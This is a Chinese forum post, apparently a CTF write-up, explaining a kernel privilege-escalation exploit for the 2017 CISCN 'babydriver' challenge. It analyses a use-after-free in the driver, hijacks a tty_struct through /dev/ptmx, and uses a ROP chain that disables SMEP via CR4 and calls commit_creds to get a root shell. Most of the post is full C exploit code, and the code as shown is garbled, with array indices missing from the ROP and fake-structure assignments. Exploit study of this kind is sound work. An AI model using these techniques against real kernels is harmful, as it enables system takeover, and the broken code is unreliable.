内核pwn(uaf-tty_struct-babydriver)-解法二
本帖最后由 HNHuangJingYU 于 2022-4-12 09:29 编辑题目:2017 CISCN babydriver
### 附件文件
![在这里插入图片描述](https://img-blog.csdnimg.cn/005a7aea7af849d4aaf5bf85390c3b5e.png?)
- 给boot.sh加上`-s`调试参数
- 解压`rootfs.cpio`后拿到`./lib/modules/4.4.72/babydriver.ko`漏洞文件
- `vmlinux-to-elf bzImage vmlinux`得到vmlinux内核
- 下面即可分析和编写exp了
### 保护
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gjVT3sSR-1649687448618)(uaf-tty_struct-babydriver.assets/image-20220411211556090.png)\]](https://img-blog.csdnimg.cn/862a397ee2dd4e22bf69196b30d6df52.png?)
### 分析
将`babydriver.ko`放入IDA中进入到babydriver_init模块入口函数,简单分析如下:
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tACQip8y-1649687448618)(uaf-tty_struct-babydriver.assets/image-20220407175802956-9682741.png)\]](https://img-blog.csdnimg.cn/b80f00f10cf648cc85c1810e9626d224.png?)
模块流程核心函数如下:
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rpF0tSaR-1649687448619)(uaf-tty_struct-babydriver.assets/image-20220407191925053-9682741.png)\]](https://img-blog.csdnimg.cn/4e80918b61a14228a866de4a1c78f9bd.png?)
babyopen函数:
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwrnJrfK-1649687448620)(uaf-tty_struct-babydriver.assets/image-20220407222610082.png)\]](https://img-blog.csdnimg.cn/7ef2b59853f4415a80a744999f3e348a.png?)
可以注意到参数分别是`struct inode *inode, struct file *filp`
`inode`结构存储有关文件和目录(文件夹)的信息,例如文件所有权、访问模式(读取、写入、执行权限)和文件类型。
`file`结构代表一个*打开的文件*。(它不特定于设备驱动程序;系统中每个打开的文件在`struct file`内核空间中都有一个关联。)直到最后一个*close*。在文件的所有实例都关闭后,内核释放数据结构
babyread:
![在这里插入图片描述](https://img-blog.csdnimg.cn/f300b2eb62404e8882064276271e6dc9.png?)
babywrite:
![在这里插入图片描述](https://img-blog.csdnimg.cn/ce79e926d5574d7791b02a4453cdf586.png?)
babyioctl:
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NECKZ5v7-1649687448622)(uaf-tty_struct-babydriver.assets/image-20220407223230395.png)\]](https://img-blog.csdnimg.cn/bad58495afa149c29d84f6e3fa53c750.png?)
babyrelease函数:
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B1JwkFTF-1649687448622)(uaf-tty_struct-babydriver.assets/image-20220407194501638.png)\]](https://img-blog.csdnimg.cn/3bc52620f7a0425aa8f01dfc1c98c8ad.png)
综上可知`release函数`存在一个uaf漏洞,`ioctl函数`可以重新分配指定大小的堆块
### 思路
这里利用uaf漏洞劫持`tty_struct`
/dev/ptmx是一种tty设备,tty设备被open的时候,会申请一个空间作为tty_struct定义如下:
```c
struct tty_struct {
int magic;//魔数0x00005401 占4byte
struct kref kref; //0x00000100这个结构体最终指向typedef struct--> int counter; 占4byte
struct device *dev; //占8byte
struct tty_driver *driver;//占8byte
const struct tty_operations *ops; //目标指针 定义在下面
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
//........
}
```
`0x005401`就是`tty_struct`结构体的魔数,`struct kref`值为`0x100`,`0xffffffff81a74f80`就是`struct tty_operations`指针
`struct tty_operations`结构体存了许多函数指针,在对此设备进行操作的时候,就会调用这里的函数指针,定义如下:
```c
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,struct inode *inode, int idx);
int(*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int(*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int(*write)(struct tty_struct * tty,const unsigned char *buf, int count);
int(*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int(*write_room)(struct tty_struct *tty);
int(*chars_in_buffer)(struct tty_struct *tty);
int(*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
//。。。。。。
};
```
具体指令对应着相应的函数段,此时第八个指针也就是`write函数的指针 -> 0x38处`将它修改为ROP,在调用`/dev/ptmx进程的write`函数时即可进入ROP劫持程序执行流
首先就是常见的保存用户态环境,分别是`cs、ss、sp、eflags`寄存器将它们保存进全局变量便于后面取出,然后就是造成uaf劫持到`tty_struct`
```c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>
#define TTY_STRUCT_SIZE0x2e0//gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420
size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte
void staveStatus(){
asm(
"mov %cs , user_cs;"//cs寄存器只能通过mov保存
"mov %ss , user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_flags;"
);
}
int main(){
staveStatus();
int fd1 = open("/dev/babydev",O_RDWR);// alloc
int fd2 = open("/dev/babydev",O_RDWR);// alloc
ioctl(fd1,0x10001,TTY_STRUCT_SIZE);//realloc#TTY_STRUCT_SIZE这个值可以通过gdb调试时 p sizeof(struct tty_struct)得到,必须要有符号表!
close(fd1); //free
int tty_fd = open("/dev/ptmx",O_RDWR); //uaf
}
```
断点在`babywrite`处在`mov filp, cs:babydev_struct.device_buf`后记录`rdi`的值(文件fd值),然后也就是单步调试到`call _copy_from_user`后面查看`rdi`的值如图:
可以看到已经成功拿到了`tty_struct`结构它的`magic`就是`0x5401`
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jpnMOJRl-1649687448623)(uaf-tty_struct-babydriver.assets/image-20220411213104306.png)\]](https://img-blog.csdnimg.cn/6e37196f324e429fb7d8bc5edef61563.png?)
我们知道`tty_struct`结构的第4个参数是`tty_operations`指针那么就可以在这里写入我们伪造的`fake_tty_operations`了
将fd2的数据复制到我们的`fake_tty_struct`结构中,也可以手动设置数据,这里为了方便
```c
size_t fake_tty_struct;
size_t fake_tty_operations;
read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
fake_tty_struct = &fake_tty_operations;//修改tty_operations指向我们的fake_tty_operations
write(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //写入伪造的fake_tty_struct
write(tty_fd,"",1); //执行fake_tty_operations --> write
```
这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)
所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行
```c
size_t fake_tty_struct;
size_t fake_tty_operations;
size_t rop;
int i = 0;
rop = POP_RDI;
rop = 0x6f0;
rop = MOV_CR4_RDI;//mov cr4, rdi /使得cr4 = 0x6f0
rop = 0;//pop rbp
rop = &getRoot; //ret
rop = SWAPGS; #切换
rop = 0;
rop = &intoUserStatus;
memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
fake_tty_operations = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
fake_tty_operations = POP_RAX; //将下面rop的代码地址放入rax
fake_tty_operations = &rop;
fake_tty_operations = MOV_RSP_RAX; //执行rop流程
read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
fake_tty_struct = &fake_tty_operations;
write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
write(tty_fd,"",1);
```
然后就是一些跳来跳去的gadget链,这里提权采用`commit_creds(prepare_kernel_cred(NULL))`方式进行提取权限和一些标准的提权流程
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cIzJS83E-1649687448624)(uaf-tty_struct-babydriver.assets/image-20220411215012307.png)\]](https://img-blog.csdnimg.cn/31bcd4a510c443d080b34354cc462550.png?)
### 完整exp
```c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>
#define TTY_STRUCT_SIZE0x2e0//gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420
size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte
void staveStatus(){
asm(
"mov %cs , user_cs;"//cs寄存器只能通过mov保存
"mov %ss , user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_flags;"
);
}
void getRoot(){
char* ((*pkc) (int)) = prepare_kernel_cred;
void ((*cc)(char*))= commit_creds;
(*cc)((*pkc)(NULL));//commit_creds(prepare_kernel_cred(NULL))
}
void getShell(){
execl("/bin/sh","sh",NULL);
}
void intoUserStatus(){
asm(
"push %0;"
"push %1;"
"push %2;"
"push %3;"
"push %4;"
"iretq;"
:
: "r"(user_ss),"r"(user_sp) ,"r"(user_flags) ,"r"(user_cs), "r"(&getShell)
);
//rop = IRETQ;//这里发现gadget 中没有这个指令 所以手写asm
}
int main(){
staveStatus();
int fd1 = open("/dev/babydev",O_RDWR);// alloc
int fd2 = open("/dev/babydev",O_RDWR);// alloc
ioctl(fd1,0x10001,TTY_STRUCT_SIZE);//realloc
close(fd1); //free
int tty_fd = open("/dev/ptmx",O_RDWR); //uaf
size_t fake_tty_struct;
size_t fake_tty_operations;
size_t rop;
int i = 0;
rop = POP_RDI;
rop = 0x6f0;
rop = MOV_CR4_RDI;//mov cr4, rdi /使得cr4 = 0x6f0
rop = 0;//pop rbp
rop = &getRoot; //ret
rop = SWAPGS;
rop = 0;
rop = &intoUserStatus;
memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
fake_tty_operations = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
fake_tty_operations = POP_RAX; //将下面rop的代码地址放入rax
fake_tty_operations = &rop;
fake_tty_operations = MOV_RSP_RAX; //执行rop流程
//mov_rsp_rax -> pop_rax -> mov_rsp_rax -> rop
//这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)
//所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行
read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
fake_tty_struct = &fake_tty_operations;
write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
write(tty_fd,"",1);
return 0;
}
```
### 成功获取root权限
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Hw2ptSZ-1649687448625)(uaf-tty_struct-babydriver.assets/image-20220411215316660.png)\]](https://img-blog.csdnimg.cn/dce2325ca2084b86898c701ddb7408ed.png?) 感谢分享 感谢楼主无私分享,万分感谢~~~ 谢谢,学习了 谢谢,学习了.. 感谢大佬
页:
[1]